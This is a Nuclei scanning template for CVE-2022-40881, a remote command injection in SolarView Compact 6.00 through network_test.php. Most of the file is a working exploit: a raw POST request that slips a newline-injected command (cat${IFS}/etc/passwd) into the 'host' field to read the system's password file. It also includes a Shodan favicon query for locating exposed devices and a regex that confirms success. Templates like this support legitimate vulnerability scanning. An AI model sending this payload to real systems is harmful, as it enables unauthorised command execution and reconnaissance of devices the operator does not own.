nuclei-templates/cves/2022/CVE-2022-40881.yaml

38 lines
911 B
YAML
Raw Normal View History

2022-11-17 14:32:59 +00:00
id: CVE-2022-40881
info:
name: SolarView - Remote Command Execution
author: For3stCo1d
severity: critical
description: |
SolarView Compact 6.00 was discovered to contain a command injection vulnerability via network_test.php
reference:
- https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40881
metadata:
shodan-query: http.favicon.hash:"-244067125"
tags: cve,cve2022,solarview,rce
variables:
cmd: "cat${IFS}/etc/passwd"
requests:
- raw:
- |
POST /network_test.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
host=%0a{{cmd}}%0a&command=ping
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200